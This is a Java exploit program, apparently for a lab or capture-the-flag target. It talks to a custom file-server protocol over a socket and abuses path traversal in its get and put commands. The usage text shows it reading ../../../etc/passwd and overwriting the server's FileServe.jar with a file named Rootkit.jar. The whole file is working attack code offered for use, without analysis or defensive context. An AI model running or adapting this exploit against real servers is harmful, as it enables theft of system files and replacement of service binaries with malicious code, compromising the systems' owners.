import protocol.*;
import java.io.*;
import java.net.*;

public class Exploit {
    private static void put(ObjectInputStream in, ObjectOutputStream out, String file, String remote) throws IOException {
        File f = new File(file);
        FileInputStream fin = new FileInputStream(f);
        byte buffer[] = new byte[(int)f.length()];
        fin.read(buffer);

        out.writeObject(new FilePut(remote, buffer));
    }

    private static void get(ObjectInputStream in, ObjectOutputStream out, String file, String local) throws IOException, ClassNotFoundException {
        out.writeObject(new FileGet(file));
        Object obj = in.readObject();
        if (obj instanceof FileGetResult) {
            FileGetResult res = (FileGetResult)obj;
            if (local == null) {
                System.out.write(res.fileData);
            } else {
                FileOutputStream fout = new FileOutputStream(local);
                fout.write(res.fileData);
                fout.close();
            }
        }
    }

    public static void main (String args[]) throws Exception {
        if (args.length != 5) {
            System.out.println("Usage: java Exploit <host> <port> <file> <put|get> <remote/local file path>");
            System.out.println("Examples:");
            System.out.println("    java Exploit 192.168.0.27 8899 ../../../etc/passwd get passwd");
            System.out.println("    java Exploit 192.168.0.27 8899 ../../../var/services/FileServer/dist/FileServe.jar put Rootkit.jar");
        } else {
            String host = args[0];
            int port = Integer.parseInt(args[1]);
            String filename = args[2];
            String command = args[3];
            String saveFile = args[4];

            try {
                Socket s = new Socket(host, port);
                ObjectOutputStream out = new ObjectOutputStream(s.getOutputStream());
                ObjectInputStream in = new ObjectInputStream(s.getInputStream());

                if (command.equals("put")) {
                    put(in, out, filename, saveFile);
                } else {
                    get(in, out, filename, saveFile);
                }
            } catch (IOException e) {
                System.exit(1);
            }
        }
    }
}

